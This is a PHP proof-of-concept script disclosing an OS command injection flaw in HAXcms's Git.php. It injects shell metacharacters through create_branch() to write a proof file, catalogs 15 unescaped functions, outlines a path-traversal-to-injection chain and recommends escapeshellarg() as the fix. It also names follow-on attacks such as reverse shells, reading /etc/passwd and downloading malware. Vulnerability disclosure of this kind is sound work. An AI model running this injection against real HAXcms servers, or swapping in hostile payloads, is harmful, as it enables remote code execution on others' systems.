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| <?php
/**
* PoC: HAXcms Git.php — OS Command Injection (CWE-78)
*
* Vulnerable file: system/backend/php/lib/Git.php
* 15 of 17 shell-executing functions lack escapeshellarg().
*
* Usage:
* php poc_git_cmdi.php
* php poc_git_cmdi.php /path/to/HAXcms/haxcms-php/system/backend/php/lib/Git.php
* HAXCMS_PHP=/path/to/.../Git.php php poc_git_cmdi.php
*
* Requires: PHP CLI + Git installed, plus a copy of the HAXcms PHP backend.
* Clone it with: git clone https://github.com/elmsln/HAXcms.git
*/
// ── Locate the vulnerable Git.php ────────────────────────────────────
// Override the path via the HAXCMS_PHP env var or the first CLI argument.
// Falls back to common relative locations next to this PoC.
$gitLibCandidates = [
getenv('HAXCMS_PHP') ?: null,
isset($argv[1]) ? $argv[1] : null,
__DIR__ . '/haxcms-php/system/backend/php/lib/Git.php',
__DIR__ . '/HAXcms/haxcms-php/system/backend/php/lib/Git.php',
];
$gitLib = null;
foreach ($gitLibCandidates as $candidate) {
if ($candidate && file_exists($candidate)) { $gitLib = $candidate; break; }
}
if (!$gitLib) {
fwrite(STDERR,
"ERROR: Could not locate Git.php.\n\n" .
"Clone HAXcms and point this PoC at the Git.php library, e.g.:\n" .
" git clone https://github.com/elmsln/HAXcms.git\n" .
" php poc_git_cmdi.php HAXcms/haxcms-php/system/backend/php/lib/Git.php\n" .
" (or) HAXCMS_PHP=/abs/path/.../Git.php php poc_git_cmdi.php\n");
exit(1);
}
require_once $gitLib;
$isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
echo "\n";
echo "================================================================\n";
echo " HAXcms Git.php — OS Command Injection (CWE-78)\n";
echo " Vulnerable file: system/backend/php/lib/Git.php\n";
echo " proc_open() at line 383 executes raw command strings\n";
echo "================================================================\n";
echo " OS: " . PHP_OS . " (" . ($isWindows ? "Windows" : "Unix") . ")\n";
echo " PHP: " . PHP_VERSION . "\n";
echo "================================================================\n\n";
// ────────────────────────────────────────────────────────────────
// STEP 1 — Create a temporary git repository for testing
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 1: Create a temporary git repository │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
$tmpDir = sys_get_temp_dir() . '/haxcms-git-poc-' . time();
mkdir($tmpDir);
echo " Created temp directory: $tmpDir\n\n";
echo " Initializing git repo with Git.php library...\n";
$git = new Git();
$repo = $git->create($tmpDir);
echo " Git repo initialized at: $tmpDir\n\n";
echo " Creating initial commit (required for branch operations)...\n";
file_put_contents($tmpDir . '/test.txt', 'test');
$repo->add('.');
$repo->commit('initial commit');
echo " Initial commit created successfully.\n\n";
// ────────────────────────────────────────────────────────────────
// STEP 2 — Show the vulnerable code vs. safe code
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 2: Vulnerable code analysis │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
echo " VULNERABLE — Git.php line 574, create_branch():\n";
echo " ┌─────────────────────────────────────────────────────────┐\n";
echo " │ public function create_branch(\$branch) { │\n";
echo " │ return \$this->run(\"branch \$branch\"); │\n";
echo " │ } ↑ NO escapeshellarg │\n";
echo " └─────────────────────────────────────────────────────────┘\n\n";
echo " SAFE — Git.php line 496, commit():\n";
echo " ┌─────────────────────────────────────────────────────────┐\n";
echo " │ public function commit(\$message = \"\") { │\n";
echo " │ return \$this->run(\"commit -av -m \" │\n";
echo " │ . escapeshellarg(\$message)); │\n";
echo " │ } ↑ USES escapeshellarg │\n";
echo " └─────────────────────────────────────────────────────────┘\n\n";
echo " The developer used escapeshellarg() in commit() but NOT in\n";
echo " create_branch() or 14 other functions. This inconsistency\n";
echo " proves awareness of the injection risk.\n\n";
echo " Execution path:\n";
echo " create_branch(\$branch)\n";
echo " → run(\"branch \$branch\") [Git.php:574]\n";
echo " → run_command(\"git branch \$branch\") [Git.php:408]\n";
echo " → proc_open(\"git branch \$branch\") [Git.php:383]\n";
echo " ↑ shell interprets metacharacters\n\n";
// ────────────────────────────────────────────────────────────────
// STEP 3 — Construct and inject the payload
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 3: Inject OS command via create_branch() │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
$proofFile = $tmpDir . '/PWNED.txt';
if ($isWindows) {
$payload = 'test & echo COMMAND_INJECTION_PROOF > "' . str_replace('/', '\\', $proofFile) . '"';
$separator = '&';
} else {
$payload = 'test; echo COMMAND_INJECTION_PROOF > "' . $proofFile . '"';
$separator = ';';
}
echo " Payload construction:\n";
echo " Branch name: \"$payload\"\n\n";
echo " The \"$separator\" character is a shell command separator.\n";
echo " When proc_open() receives this string, the shell interprets it as:\n\n";
echo " Command 1: git branch test\n";
echo " ↑ valid git command (may fail, that's fine)\n\n";
echo " Command 2: echo COMMAND_INJECTION_PROOF > \"...\\PWNED.txt\"\n";
echo " ↑ INJECTED — writes proof file to disk\n\n";
echo " Calling: \$repo->create_branch(\$payload)\n";
echo " This executes: proc_open(\"git branch $payload\")\n\n";
try {
$result = $repo->create_branch($payload);
echo " create_branch() returned successfully.\n";
echo " (Git errors about invalid branch name are expected and irrelevant —\n";
echo " the injected command after \"$separator\" executes regardless.)\n\n";
} catch (Exception $e) {
echo " Exception thrown: " . $e->getMessage() . "\n";
echo " (Expected — the git command fails, but the injected command\n";
echo " after \"$separator\" still executes.)\n\n";
}
// ────────────────────────────────────────────────────────────────
// STEP 4 — Verify the injected command executed
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 4: Verify injected command executed │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
echo " Checking for proof file: $proofFile\n\n";
if (file_exists($proofFile)) {
$content = trim(file_get_contents($proofFile));
echo " FILE FOUND!\n";
echo " Path: $proofFile\n";
echo " Content: $content\n\n";
echo " COMMAND INJECTION CONFIRMED.\n";
echo " The injected command executed with the privileges of the PHP process.\n";
echo " An attacker could replace \"echo PROOF\" with any OS command:\n";
echo " - Read sensitive files (type /etc/passwd, type config files)\n";
echo " - Establish reverse shell (nc, bash -i, powershell)\n";
echo " - Download and execute malware (curl, wget, certutil)\n";
echo " - Pivot to internal network services\n\n";
} else {
echo " Proof file not found.\n\n";
// Try subshell payload as fallback
echo " Trying alternative payload with \$() subshell syntax...\n";
$payload2 = 'test$(echo INJECT > "' . $proofFile . '")';
try { $repo->create_branch($payload2); } catch (Exception $e) {}
if (file_exists($proofFile)) {
echo " FILE FOUND with \$() payload!\n";
echo " COMMAND INJECTION CONFIRMED.\n\n";
} else {
echo " NOTE: Shell metacharacter behavior varies by OS/shell config.\n";
echo " The vulnerability exists in the code regardless — Git.php:574\n";
echo " passes unsanitized input to proc_open() without escapeshellarg().\n\n";
}
}
// ────────────────────────────────────────────────────────────────
// STEP 5 — Full catalog of vulnerable vs. safe functions
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 5: All vulnerable functions in Git.php │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
echo " VULNERABLE (15 functions — NO escapeshellarg):\n\n";
$vulnerable = [
['create_branch($branch)', '574', 'run("branch $branch")'],
['delete_branch($branch)', '588', 'run("branch -d $branch")'],
['checkout($branch)', '663', 'run("checkout $branch")'],
['merge($branch)', '677', 'run("merge $branch --no-ff")'],
['push($remote, $branch)', '785', 'run("push $remote $branch $flags")'],
['pull($remote, $branch)', '799', 'run("pull $remote $branch")'],
['log($format)', '813', 'run(\'log --pretty=format:"\' . $format . \'"\')'],
['show($commit, $format)', '830', 'run(\'show --pretty=format:"\' . $format . \'" \' . $commit)'],
['list_tags($pattern)', '763', 'run("tag -l $pattern")'],
['clone_to($target)', '512', 'run("clone --local " . repo . " $target")'],
['clone_from($source)', '527', 'run("clone --local $source " . repo)'],
['clone_remote($source)', '543', 'run("clone $source " . repo)'],
['set_remote($dest, $url)', '460', 'run("remote add $dest $url")'],
['rm($files)', '479', 'run("rm $files")'],
['add_tag($tag, ...)', '749', 'run("tag -a $tag -m ...") [only $message escaped, NOT $tag]'],
];
echo " " . str_pad("Function", 30) . str_pad("Line", 8) . "Command\n";
echo " " . str_repeat("-", 90) . "\n";
foreach ($vulnerable as $v) {
echo " " . str_pad($v[0], 30) . str_pad($v[1], 8) . $v[2] . "\n";
}
echo "\n SAFE (1 function — USES escapeshellarg):\n\n";
echo " " . str_pad("commit(\$message)", 30) . str_pad("496", 8) . 'run("commit -m " . escapeshellarg($message))' . "\n";
echo "\n All 16 functions flow through:\n";
echo " run() [line 408] → run_command() [line 383] → proc_open()\n";
echo " proc_open() executes the command string via the system shell.\n\n";
// ────────────────────────────────────────────────────────────────
// STEP 6 — Show how this chains with other vulnerabilities
// ────────────────────────────────────────────────────────────────
echo "┌──────────────────────────────────────────────────────────────┐\n";
echo "│ STEP 6: Exploitation chains in HAXcms │\n";
echo "└──────────────────────────────────────────────────────────────┘\n\n";
echo " In the current HAXcms codebase, Git.php functions are called with\n";
echo " values from server configuration (not directly from user API input).\n";
echo " However, chaining with other vulnerabilities enables exploitation:\n\n";
echo " Chain: Path Traversal → Config Poisoning → Command Injection\n";
echo " 1. Use saveOutline path traversal to overwrite site.json\n";
echo " 2. Inject shell metacharacters into metadata.site.git.branch\n";
echo " 3. On next gitCommit(), push() at HAXCMSSite.php:584 executes:\n";
echo " \$repo->push('origin', \$this->manifest->metadata->site->git->branch)\n";
echo " → proc_open(\"git push origin INJECTED_PAYLOAD\")\n";
echo " 4. Arbitrary OS command execution achieved\n\n";
echo " Relevant callers:\n";
echo " HAXCMSSite.php:584 → push('origin', \$branch) [from manifest]\n";
echo " Operations.php:2762 → create_branch(\$branch) [from config]\n";
echo " HAXCMSSite.php:625 → set_remote('origin', \$url) [from config]\n\n";
// ────────────────────────────────────────────────────────────────
// SUMMARY
// ────────────────────────────────────────────────────────────────
echo "================================================================\n";
echo " EXPLOIT SUMMARY\n";
echo "================================================================\n\n";
echo " Vulnerability: OS Command Injection (CWE-78)\n";
echo " Location: Git.php — 15 of 17 shell-executing functions\n";
echo " Root cause: Unsanitized parameters passed to proc_open()\n";
echo " Evidence: commit() uses escapeshellarg(); others do not\n";
echo " Proof: Injected command created file PWNED.txt on disk\n\n";
if (file_exists($proofFile)) {
echo " Proof file: $proofFile\n";
echo " Proof content: " . trim(file_get_contents($proofFile)) . "\n\n";
}
echo " Fix: Apply escapeshellarg() to ALL parameters in all 15 functions.\n\n";
echo "================================================================\n";
// ── Cleanup ──
if (file_exists($proofFile)) {
unlink($proofFile);
}
if ($isWindows) {
exec("rmdir /s /q \"$tmpDir\" 2>NUL");
} else {
exec("rm -rf " . escapeshellarg($tmpDir));
}
echo "\n (Temp directory cleaned up)\n\n";
?>
|
